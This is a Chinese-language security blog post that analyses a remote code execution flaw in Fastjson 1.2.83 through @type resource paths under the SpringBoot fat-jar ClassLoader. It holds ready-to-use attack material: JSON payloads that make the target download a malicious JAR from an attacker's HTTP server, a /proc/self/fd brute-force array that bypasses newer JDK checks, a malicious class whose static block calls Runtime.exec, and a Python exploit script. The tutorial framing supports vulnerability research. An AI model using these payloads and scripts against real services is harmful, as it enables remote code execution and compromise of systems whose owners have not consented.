Turker
Turker
Published on 2026-07-23 / 0 Visits
0

Java安全——Fastjson 1.2.83 RCE 分析

Java安全——Fastjson 1.2.83 RCE 分析

蹭一下热度,图片上传出了点问题之后再修。

1. 摘要

Fastjson 1.2.83 使用 ParserConfig.checkAutoType() 作为对 @type 的安全检查与类型解析入口。换句话说,只要在需要解析的目标中包含 @type 字段,Fastjson 就会将该字段的值传入这个方法。在处理 @type 值时,其会经历如下的阶段:

  • 将类型名称转换为 .class 资源路径;
  • 通过 ClassLoader 的 getResourceAsStream() 获取对应 class 字节码;
  • 使用 ASM 检查该 class 是否带有 @JSONType 注解;
  • jsonType 校验通过,则在一些检测之前提前返回,进入类加载与初始化阶段。

但在特定 SpringBoot fat-jar ClassLoader 环境中,上述流程中的几个阶段均可被攻击者利用,形成了以下的攻击链:

  • 在将类型名称转换为 classpath 资源路径时,没有任何的协议以及来源限制,导致转换后的资源路径可以被解释为远程 JAR 资源或本地文件描述符 JAR 资源;
  • 在特定的 ClassLoader 环境中,构造后的资源名称可被进一步解析为 URL,被用于获取外部资源;
  • 其信任带有 @JSONType 注解的类型,但目标 class 及其注解内容可完全由攻击者控制;
  • 加载初始化攻击者控制的类,直接导致 RCE。

在 Linux/MacOS 上,这个漏洞对于 JDK 8、11、17、21等版本均有效,后文会介绍通用的利用方式。为便于分析,我们这里先使用有限制(JDK 8,且不使用 SpringBoot 内嵌 Tomcat)的 Payload 对该利用链开展介绍,测试环境为 JDK 8u492 + SpringBoot 2.7.18 + Jetty。最终的通用 Payload 见 [[#4. 通用 Payload]]。

Payload 非常简单:

{"@type":"jar:http:..2130706433:18081.probe!.POC"}

同时需要在 HTTP 服务器托管我们的恶意 JAR 包。

2. 漏洞根因

2.1 @type 字段被直接转换为资源路径

ParserConfig.checkAutoType() 会将 typeName 转换成 classpath 风格的资源名,再读取其字节流:

boolean jsonType = false;  
InputStream is = null;  
try {  
    String resource = typeName.replace('.', '/') + ".class";  
    if (defaultClassLoader != null) {  
        is = defaultClassLoader.getResourceAsStream(resource);  
    } else {  
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);  
    }  
    //... 
} catch (Exception e) {  
    // skip  
} finally {  
    IOUtils.close(is);  
}

这段代码最初假设 resource 是普通的 com/example/Example.class 路径,没有对协议等进行任何限制。对于能够解析 URL 型资源名的 ClassLoader,用户完全可控的 typeName 可能在替换后成为 http:jar:http:jar:file: 资源。我们的 Payload 在经过转化后被控制为了一个 jar:http: 资源:

getResourceAsStream() 后,我们确实收到了网络请求,JAR 包也被成功获取:

2.2 @JSONType 注解被完全信任

getResourceAsStream() 返回字节流后,Fastjson 使用自己的 ASM 读取 class 元数据:

ClassReader classReader = new ClassReader(is, true);  
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);  
classReader.accept(visitor);  
jsonType = visitor.hasJsonType();

这里的 jsonType 是否为真完全取决于上一步获得的字节码中是否含有 @JSONType 注解,我们完全可以为恶意类添加这样一份注解,使该标志位为真。

2.3 触发类加载并提前返回

在拥有 jsonType 标志的情况下,该 class 会在大部分检查之前直接返回。这导致了即使使用 parseObject(json, Dto.class) 也不能缓解这个漏洞。

if (autoTypeSupport || jsonType || expectClassFlag) {  
    boolean cacheClass = autoTypeSupport || jsonType;  
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);  
}  
  
if (clazz != null) {  
    if (jsonType) {  
        if (autoTypeSupport) {  
            TypeUtils.addMapping(typeName, clazz);  
        }  
        return clazz;  //跳过了以下所有检查
    }  
  
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger  
        //...
    }  
  
    if (expectClass != null) {  
        //... 
    }  
  
    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);  
    if (beanInfo.creatorConstructor != null && autoTypeSupport) {  
        //...  
    }  
}

可以看到我们顺利走到了该分支中:

3. 局限性

理论上进入 loadClass 后,就可以触发类加载,达到RCE了。但是为什么前文提到这个 Payload 只适用于JDK 8,且不使用 SpringBoot 内嵌 Tomcat 呢?

3.1 Web 容器局限性

跟进 TypeUtils.loadClass() 方法,我们的类名最终会进入这个分支,被线程上下文 ClassLoader (TCCL, Thread Context ClassLoader) 加载。

这里是不同 Web 容器产生区别的地方。我们之前提到过该 Payload 不适用于 Tomcat,就是由于 Tomcat 会把请求线程的 TCCL 替换为自己的 TomcatEmbeddedWebappClassLoader 而非SpringBoot 的 LaunchedURLClassLoader

LaunchedURLClassLoader.loadClass() 不必多说,它就是我们找到的可以通过解析 URL 来获取外部资源的 ClassLoader。调用链如下:

TypeUtils.loadClass
    ↓
LaunchedURLClassLoader.loadClass
    ↓
URLClassLoader.loadClass
    ↓
findClass
    ↓
typeName.replace('.', '/') + ".class"
    ↓
jar:http://localhost:18081/probe!/POC.class
    ↓
打开远程 JAR
    ↓
defineClass

TomcatEmbeddedWebappClassLoader.loadClass() 会先调用 loadFromParent(),虽然其父 ClassLoader 确实是 LaunchedURLClassLoader,但其并不是这样实现:

parent.loadClass(name)

而是:

Class.forName(name, false, parent);

这里的 Class.forName() 会校验 JVM 内部类名,校验成功才继续调用。很遗憾,我们的 http:// 中连续两个 / 会导致校验失败,调用直接结束,返回一个空值。

3.2 版本局限性

事实上,该 Payload 的版本限制也是 // 导致的。接着上文 LaunchedURLClassLoader.loadClass() 的调用链来看,我们可以一直跟进到 URLClassLoader.findClass() 方法。该方法在内部调用 defineClass() 时会对类名进行校验。 由于 JDK 9+ 添加了对 // 检查,该 Payload 在高版本无法触发类加载。

JDK 8 中,可以成功返回恶意类:

并且进入后续逻辑:

JDK 17 中,抛出 java.lang.ClassFormatError: Illegal class name "jar:http://2130706433:18081/probe!/POC"

4. 通用 Payload

这里的通用 Payload 指在 Linux 下,JDK 8、11、17、21、25 均可用;且不限制 SpringBoot Web 容器类型,Tomcat/Jetty/Undertow 均可利用。

4.1 绕过分析

既然已知了 // 会导致问题,是否可以绕过?

答案是肯定的。前面我们提到,jar:file: 协议同样可以被解析,而该协议的路径里完全可以不出现 //。现在的问题就变成了如何让我们的 JAR 从网络资源变为 file 协议可以读取的内容。

在 Linux 中,打开的文件会获得一个文件描述符,我们可以通过访问该文件描述符访问到该文件。观察发现,在整个流程的最开始,JVM 就已经获取到我们的恶意字节流了。而如果 JVM 保持着我们的恶意 JAR 包打开,那这个 JAR 就能通过文件描述符被访问到。因此该漏洞的高版本利用只在 Linux/MacOS 上可以实现。

我们可以多次发送请求,第一次请求让 JAR 包被获取并打开,之后的请求遍历文件描述符,尝试访问该 JAR 包。

更为巧合的是,在 Fastjson 中,如果一个类解析结束后以 Exception 结尾,并不会导致整个 json 解析中断,其会直接开始解析下一个元素。这允许我们在一次请求中多次尝试 fd 编号。

4.2 完整利用

视版本不同,该 Payload 可以以数组的方式一次性发送,也可以使用脚本分条发送。

Payload.json:

[
  {"@type":"jar:http:..localhost:18081.x!.foo.Exception"},
  {"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
  {"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},
  "...",
  {"@type":"jar:file:.proc.self.fd.64!.fd64.Exception"}
]

下载 JAR 包并打开

这一部分和最早提出的 Payload 是一致的,只需要:

{"@type":"jar:http:..localhost:18081.x!.foo.Exception"}

就可以让 JVM 下载我们的恶意 JAR 包。同时利用 Exception 结尾的类让 Fastjson 继续解析后续数组元素。

遍历文件描述符

后续元素使用多个文件描述符候选资源:

jar:file:/proc/self/fd/N!/...

当候选 N 命中远程 JAR 的已打开描述符时,目标 JVM 会通过自己的 /proc/self/fd/N 符号链接重新打开缓存 JAR。同时,为了保证其中的恶意类可以被找到,攻击 JAR 中必须包含与候选资源路径和 class 内部名称精确对应的 class 文件。

@type:    jar:file:.proc.self.fd.7!.fd7.Exception
资源名:   jar:file:/proc/self/fd/7!/fd7/Exception.class

恶意 JAR 的构造

首先创建一个恶意类,,带有 @JSONType

package foo;

@com.alibaba.fastjson.annotation.JSONType 
public class Exception {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/PWNED");
		    Runtime.getRuntime().exec("/mnt/c/Windows/System32/calc.exe");
        } catch (Throwable t) { }
    }
}

编译一次该类作为模板,接着用脚本对各 fd 复制一份并改写内部名为:

jar:file:/proc/self/fd/N!/fdN/Exception

fd{N}/Exception.class 路径打入同一个 JAR,使用数组 Payload 触发即可达到RCE。

特定版本的 JDK 会阻塞一些 fd,导致 HTTP 超时,这种情况下可以采用分开发送请求的办法,示例:exp.python:

#!/usr/bin/env python3
import json, sys, os, re, urllib.request

TARGET = sys.argv[1]
elements = json.load(open(sys.argv[2] if len(sys.argv) > 2 else "payload.json"))

for i, elem in enumerate(elements):
    print(f"[{i+1}/{len(elements)}] {elem['@type']}")
    req = urllib.request.Request(TARGET, json.dumps(elem).encode(), {"Content-Type": "application/json"})
    try:
        urllib.request.urlopen(req, timeout=3)
    except Exception:
        pass
    if os.path.exists("/tmp/PWNED"):
        m = re.search(r"fd\.(\d+)!", elem["@type"])
        print(f"RCE triggered fd={m.group(1) if m else 'N/A'}")
        sys.exit(0)

print("not found")

同样可以达到 RCE:

5. 已复现的环境

已经完成漏洞复现的环境如下:

JDK SpringBoot 版本 Web 容器 Payload 类型
8u492 2.7.18 Jetty/Undertow jar:http:简单Payload
8u492 2.7.18 Tomcat jar:http:+jar:file:遍历 fd
11.0.31 2.7.18 任意 jar:http:+jar:file:遍历 fd
17.0.19 3.5.15 任意 jar:http:+jar:file:遍历 fd
21.0.11 4.1.0 任意 jar:http:+jar:file:遍历 fd
25.0.3 4.1.0 任意 jar:http:+jar:file:遍历 fd